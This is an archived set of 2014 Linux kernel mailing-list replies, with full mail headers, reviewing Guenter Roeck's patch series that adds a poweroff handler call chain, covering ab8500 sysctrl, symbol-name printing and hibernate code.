Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755435AbaJIKtj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glad-acpi-devel@m.gmane.org>); Thu, 9 Oct 2014 06:49:39 -0400
Original-Received: from mail-ig0-f179.google.com ([209.85.213.179]:38071 "EHLO
	mail-ig0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751818AbaJIKth (ORCPT
	<rfc822;linux-acpi@vger.kernel.org>); Thu, 9 Oct 2014 06:49:37 -0400
Original-Received: by mail-ig0-f179.google.com with SMTP id h18so3387299igc.6
        for <linux-acpi@vger.kernel.org>; Thu, 09 Oct 2014 03:49:37 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition
         :content-transfer-encoding:in-reply-to:user-agent;
        bh=VOEUqRhutNv4JOTU1TKR0XMZmavVbzA4G92j+CPJoYY=;
        b=RBo/mALGAcqEA6NRIgiiMNhocGoO/rfItmUmFW1wCevGbbI7d2zQJ5vtLMpiOBMCjR
         e8Bs56pvQEA+inKJusYwoyC7gGMpMQN1JMbB8MuEpK8bH5pWyqF4aMGBshjqkEwp+zz/
         b3HWPwNM0Dnc05UGEzRBMYPOju7N8jFs3X2BFoRw6o1NkiBwsaxX10+REpL9uJmuim2s
         115X8H/z96HbiLJ30Nn1nL+7EbPBsQKvhcmwCeDvwreXyY6BEiVwfTDszmcjNrfJoXNV
         FJUJeT2Te/G+IItR4fasQRjYXTkfUyhjIHdH6RfbU8hJmra7L2Egm5DAd+UuRZXpWdTN
         GQig==
X-Gm-Message-State: ALoCoQmEvpOp3J+sdvAF9OdZZZhyv1UZdnt1rjWxj3NyhZrMzxwKlg0xbHuJaPQ7V8He9Kma6fuq
X-Received: by 10.50.79.132 with SMTP id j4mr55127359igx.9.1412851776888;
        Thu, 09 Oct 2014 03:49:36 -0700 (PDT)
Original-Received: from lee--X1 (host109-148-233-9.range109-148.btcentralplus.com. [109.148.233.9])
        by mx.google.com with ESMTPSA id e7sm7827780igi.18.2014.10.09.03.49.31
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Thu, 09 Oct 2014 03:49:36 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20141009103656.GF17836@e104818-lin.cambridge.arm.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
Xref: news.gmane.org gmane.linux.acpi.devel:71360 gmane.linux.ports.mips.general:44275 gmane.linux.kernel.efi:4794 gmane.linux.ports.ia64:24541 gmane.linux.kernel.virtualization.lguest:1520 gmane.linux.ports.hexagon:852 gmane.linux.ports.sh.devel:39911 gmane.linux.drivers.devicetree:93543 gmane.linux.uml.devel:14725 gmane.linux.power-management.general:50777 gmane.linux.ports.m68k:6282 gmane.linux.ports.tegra:19570 gmane.linux.kernel.openipmi:2511 gmane.linux.kernel.metag:372 gmane.linux.ports.arm.kernel:362948 gmane.linux.ports.parisc:6157 gmane.linux.kernel:1804198 gmane.linux.ports.alpha:2505 gmane.linux.ports.ppc64.devel:106029
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/71360>

On Thu, 09 Oct 2014, Catalin Marinas wrote:

> On Tue, Oct 07, 2014 at 09:00:48AM +0100, Lee Jones wrote:
> > On Mon, 06 Oct 2014, Guenter Roeck wrote:
> > > --- a/drivers/mfd/ab8500-sysctrl.c
> > > +++ b/drivers/mfd/ab8500-sysctrl.c
> > > @@ -6,6 +6,7 @@
> >=20
> > [...]
> >=20
> > > +static int ab8500_power_off(struct notifier_block *this, unsigne=
d long unused1,
> > > +			    void *unused2)
> > >  {
> > >  	sigset_t old;
> > >  	sigset_t all;
> > > @@ -34,11 +36,6 @@ static void ab8500_power_off(void)
> > >  	struct power_supply *psy;
> > >  	int ret;
> > > =20
> > > -	if (sysctrl_dev =3D=3D NULL) {
> > > -		pr_err("%s: sysctrl not initialized\n", __func__);
> > > -		return;
> > > -	}
> >=20
> > Can you explain the purpose of this change please?
>=20
> I guess it's because the sysctrl_dev is already initialised when
> registering the power_off handler, so there isn't a way to call the
> above function with a NULL sysctrl_dev. Probably even with the origin=
al
> code you didn't need this check (after some race fix in
> ab8500_sysctrl_remove but races is one of the things Guenter's patche=
s
> try to address).

Sounds reasonable, although I think this change should be part of
another patch.

--=20
Lee Jones
Linaro STMicroelectronics Landing Team Lead
Linaro.org =E2=94=82 Open source software for ARM SoCs
=46ollow Linaro: Facebook | Twitter | Blog
--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Thu, 9 Oct 2014 13:31:40 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <CAMuHMdVOBnZ=pyVeGSxbOT9MtRR2iNY4V-PUm0NU=UFQ2pxE_g@mail.gmail.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
	<1412659726-29957-2-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1412854316 30373 80.91.229.3 (9 Oct 2014 11:31:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 11:31:56 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"adi-buildroot-devel@lists.sourceforge.net" 
	<adi-buildroot-devel@lists.sourceforge.net>,
	driverdevel <devel@driverdev.osuosl.org>,
	"devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
	lguest@lists.ozlabs.org,
	ACPI Devel Maling List <linux-acpi@vger.kernel.org>,
	alpha <linux-alpha@vger.kernel.org>,
	"moderated list:PANASONIC MN10300..." <linux-am33-list@redhat.com>,
	Cris <linux-cris-kernel@axis.com>, linux-efi@vger.kernel.org,
	"open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
	linux-m32r-ja@ml.linux-m32r.org,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	linux-tegra@vger.kernel.org,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	openipmi-developer@lists.sourceforge.net,
	uml-devel <user-mode-linux-devel@lists.s
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Oct 09 13:31:45 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XcBwd-0001Rw-EW
	for glpm-linux-m68k@plane.gmane.org; Thu, 09 Oct 2014 13:31:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754919AbaJILbm (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 9 Oct 2014 07:31:42 -0400
Original-Received: from mail-la0-f52.google.com ([209.85.215.52]:65123 "EHLO
	mail-la0-f52.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754890AbaJILbm (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Thu, 9 Oct 2014 07:31:42 -0400
Original-Received: by mail-la0-f52.google.com with SMTP id hz20so940406lab.39
        for <linux-m68k@lists.linux-m68k.org>; Thu, 09 Oct 2014 04:31:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=kf+cqRDl98Q0i4Vr4y6etZpLn5a5O2TB68fBVoNIwDA=;
        b=e1jnVsy+l6PHDRMWsXNxfLa2Wk/7ORMF4vGT3hC2azx9H2J9qa7YD9+d29ISmNvbR8
         zFCJQxzy01cYcqOzic1HTM5p68vTCFL9tjbAR6GdEsy2XqJedvP5Px3yIKcEQosoUBsH
         bkYOogvhsqan3bYtLAbyC50nMlXPcyj50t62q0DcvVEsu36dgInM3a8jIiIR7Q/HzcXf
         R5FBP0riGIqHe5JpMYoouR0XRj8EDADD2urNVSYDkBPjPChlNlcYaUE6G4O2wHlu8gdG
         2c5BP88x3P5smLYKZ9oPUNVzdlWNVPRDZpwzrkC4Oy08BKkWUbkeQ9c8sxFwi+HWadwz
         F5ig==
X-Received: by 10.152.203.204 with SMTP id ks12mr18349771lac.65.1412854300507;
 Thu, 09 Oct 2014 04:31:40 -0700 (PDT)
Original-Received: by 10.152.30.34 with HTTP; Thu, 9 Oct 2014 04:31:40 -0700 (PDT)
In-Reply-To: <1412659726-29957-2-git-send-email-linux@roeck-us.net>
X-Google-Sender-Auth: jpwkCvafUZ3nfaT--DQh65doIVk
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6283 gmane.linux.kernel:1804213 gmane.linux.drivers.devicetree:93545 gmane.linux.kernel.virtualization.lguest:1521 gmane.linux.acpi.devel:71361 gmane.linux.ports.alpha:2506 gmane.linux.kernel.efi:4795 gmane.linux.ports.hexagon:853 gmane.linux.ports.ppc64.devel:106030 gmane.linux.ports.tegra:19571 gmane.linux.kernel.openipmi:2512 gmane.linux.uml.devel:14726 gmane.linux.ports.arm.kernel:362960 gmane.linux.ports.ia64:24542 gmane.linux.kernel.metag:373 gmane.linux.ports.mips.general:44276 gmane.linux.ports.parisc:6158 gmane.linux.power-management.general:50780 gmane.linux.ports.sh.devel:39912
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6283>

On Tue, Oct 7, 2014 at 7:28 AM, Guenter Roeck <linux@roeck-us.net> wrote:
> +int register_poweroff_handler_simple(void (*handler)(void), int priority)
> +{
> +       char symname[KSYM_NAME_LEN];
> +
> +       if (poweroff_handler_data.handler) {
> +               lookup_symbol_name((unsigned long)poweroff_handler_data.handler,
> +                                  symname);
> +               pr_warn("Poweroff function already registered (%s)", symname);
> +               lookup_symbol_name((unsigned long)handler, symname);
> +               pr_cont(", cannot register %s\n", symname);

Doesn't %ps work to look up symbols?

pr_warn("Poweroff function already registered (%ps), cannot register
%ps\n", poweroff_handler_data.handler, handler);

> +               return -EBUSY;
> +       }

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCH 03/44] hibernate: Call have_kernel_poweroff instead of
 checking pm_power_off
Date: Thu, 09 Oct 2014 06:24:13 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <54368C7D.5040402@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-4-git-send-email-linux@roeck-us.net> <20141009103254.GB6787@amd>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412861081 21312 80.91.229.3 (9 Oct 2014 13:24:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 13:24:41 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	"Rafael J. Wysocki
To: Pavel Machek <pavel@ucw.cz>
Original-X-From: linux-sh-owner@vger.kernel.org Thu Oct 09 15:24:32 2014
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1XcDho-0006Rd-0Y
	for glps-linuxsh-dev@plane.gmane.org; Thu, 09 Oct 2014 15:24:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755751AbaJINYb (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Thu, 9 Oct 2014 09:24:31 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:52398 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752153AbaJINYa (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Thu, 9 Oct 2014 09:24:30 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=U94sfdSA70105YmnE1feyGPTziXsD8ztWWB7mU43L+M=;
	b=AsD05gqd8qeWWMYqQzteHBW1FEaDj52uLAZoyHowHv6WqMeWo4OTxyNsDUM+r8DIPmyz9HQSC7eG6a2ZIcsIFUi8a/Y60DR0vKoHsqvaCWtztybqoI6w4xGD5BbJN3FJnto2KbPkIzu49LDkOiy4wq1yTXRt2ykHidHRe5gbHDM=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XcDhl-000iJw-Kk
	for linux-sh@vger.kernel.org; Thu, 09 Oct 2014 13:24:29 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:36565 helo=server.roeck-us.net)
	by bh-25.webhostbox.net with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128)
	(Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XcDha-000iGU-V1; Thu, 09 Oct 2014 13:24:19 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <20141009103254.GB6787@amd>
X-Authenticated_sender: linux@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.0
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54368C8D.01EE,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 5
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:39916 gmane.linux.kernel:1804273 gmane.linux.drivers.devicetree:93560 gmane.linux.kernel.virtualization.lguest:1522 gmane.linux.acpi.devel:71362 gmane.linux.ports.alpha:2507 gmane.linux.kernel.efi:4796 gmane.linux.ports.hexagon:854 gmane.linux.ports.ppc64.devel:106032 gmane.linux.ports.tegra:19572 gmane.linux.kernel.openipmi:2513 gmane.linux.uml.devel:14727 gmane.linux.ports.arm.kernel:362996 gmane.linux.ports.ia64:24543 gmane.linux.kernel.metag:374 gmane.linux.ports.mips.general:44277 gmane.linux.ports.parisc:6159 gmane.linux.power-management.general:50781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/39916>

On 10/09/2014 03:32 AM, Pavel Machek wrote:
> On Mon 2014-10-06 22:28:05, Guenter Roeck wrote:
>> Poweroff handlers may now be installed with register_poweroff_handler.
>> Use the new API function have_kernel_poweroff to determine if a poweroff
>> handler has been installed.
>>
>> Cc: Rafael J. Wysocki <rjw@rjwysocki.net>
>> Cc: Pavel Machek <pavel@ucw.cz>
>> Cc: Len Brown <len.brown@intel.com>
>> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
>> ---
>>   kernel/power/hibernate.c | 2 +-
>>   1 file changed, 1 insertion(+), 1 deletion(-)
>>
>> diff --git a/kernel/power/hibernate.c b/kernel/power/hibernate.c
>> index a9dfa79..20353c5 100644
>> --- a/kernel/power/hibernate.c
>> +++ b/kernel/power/hibernate.c
>> @@ -602,7 +602,7 @@ static void power_down(void)
>>   	case HIBERNATION_PLATFORM:
>>   		hibernation_platform_enter();
>>   	case HIBERNATION_SHUTDOWN:
>> -		if (pm_power_off)
>> +		if (have_kernel_poweroff())
>>   			kernel_power_off();
>>   		break;
>
> poweroff -> power_off.
>
As mentioned in my other reply, that was on purpose to distinguish
existing functions from poweroff handler functions.

> But if you are playing with this, anyway... does it make sense to
> introduce kernel_power_off() that just works, no need to check
> have_..?
> 									Pavel

I am trying not to change existing behavior.

kernel_power_off is an existing function which does some cleanup
before calling machine_power_off which in turn calls do_kernel_poweroff
(or currently pm_power_off and may do some other machine specific stuff.

Sure, poweroff handling could be unified further. We could decide to
enter an endless loop if machine_power_off() returns, or we could decide
to dump a warning or panic in this case. But that is all separate from
the issue I am trying to solve here, which is to provide a capability to
register more than one poweroff handler. It would also not be that simple,
since some architectures call machine_power_off() directly from various
places.

Guenter

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Thu, 09 Oct 2014 06:25:29 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <54368CC9.7020100@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>      <1412659726-29957-2-git-send-email-linux@roeck-us.net> <CAMuHMdVOBnZ=pyVeGSxbOT9MtRR2iNY4V-PUm0NU=UFQ2pxE_g@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412861209 23112 80.91.229.3 (9 Oct 2014 13:26:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 13:26:49 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>, 
 "adi-buildroot-devel@lists.sourceforge.net" <adi-buildroot-devel@lists.sourceforge.net>,
 driverdevel <devel@driverdev.osuosl.org>, 
 "devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
 lguest@lists.ozlabs.org, 
 ACPI Devel Maling List <linux-acpi@vger.kernel.org>,
 alpha <linux-alpha@vger.kernel.org>, 
 "moderated list:PANASONIC MN10300..." <linux-am33-list@redhat.com>,
 Cris <linux-cris-kernel@axis.com>, linux-efi@vger.kernel.org, 
 "open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
 linux-m32r-ja@ml.linux-m32r.org, 
 "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
 linux-s390 <linux-s390@vger.kernel.org>, linux-tegra@vger.kernel.org, 
 "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
 openipmi-developer@lists.sourceforge.net, 
 uml-devel <user-mode-linux-devel@li
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Oct 09 15:26:40 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XcDjr-0007dj-6L
	for sgi-linux-mips@gmane.org; Thu, 09 Oct 2014 15:26:39 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:56989 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010946AbaJIN0hNFLEo (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 9 Oct 2014 15:26:37 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 09 Oct 2014 15:26:23 +0200 (CEST)
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:34492 "EHLO
        bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S27010937AbaJIN0VjrcXx (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 9 Oct 2014 15:26:21 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
        h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=2/gHyzsLTqaRFZOEm05U7zQlKhS2kf6xMIiRg56L4fA=;
        b=5k181G/1XMXMtFGYcUQV7udaZag2HFlGtEObkS/YcVH+yU/klD/++9PDXAwwjq/KlXZl9Wj35D3Vri3GJAwK+OHTXTFZ4MidX7Yb92MoZoZdGUDDz6BdyRlPy7nQefTuGRtuvcZ+KsMiE5sugo22R1w0II0z7Wu2obnrFCH9Qd4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
        (envelope-from <linux@roeck-us.net>)
        id 1XcDjT-000kPm-Gf
        for linux-mips@linux-mips.org; Thu, 09 Oct 2014 13:26:15 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:36587 helo=server.roeck-us.net)
        by bh-25.webhostbox.net with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128)
        (Exim 4.82)
        (envelope-from <linux@roeck-us.net>)
        id 1XcDio-000j0a-Uc; Thu, 09 Oct 2014 13:25:35 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <CAMuHMdVOBnZ=pyVeGSxbOT9MtRR2iNY4V-PUm0NU=UFQ2pxE_g@mail.gmail.com>
X-Authenticated_sender: linux@roeck-us.net
X-OutGoing-Spam-Status: No, score=-1.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.54368CF7.01AB,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 44
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - linux-mips.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-archive-position: 43129
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@roeck-us.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44278 gmane.linux.kernel:1804274 gmane.linux.drivers.devicetree:93561 gmane.linux.kernel.virtualization.lguest:1523 gmane.linux.acpi.devel:71363 gmane.linux.ports.alpha:2508 gmane.linux.kernel.efi:4797 gmane.linux.ports.hexagon:855 gmane.linux.ports.ppc64.devel:106033 gmane.linux.ports.tegra:19573 gmane.linux.kernel.openipmi:2514 gmane.linux.uml.devel:14728 gmane.linux.ports.arm.kernel:362997 gmane.linux.ports.ia64:24544 gmane.linux.kernel.metag:375 gmane.linux.ports.parisc:6160 gmane.linux.power-management.general:50782 gmane.linux.ports.sh.devel:39917
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44278>

On 10/09/2014 04:31 AM, Geert Uytterhoeven wrote:
> On Tue, Oct 7, 2014 at 7:28 AM, Guenter Roeck <linux@roeck-us.net> wrote:
>> +int register_poweroff_handler_simple(void (*handler)(void), int priority)
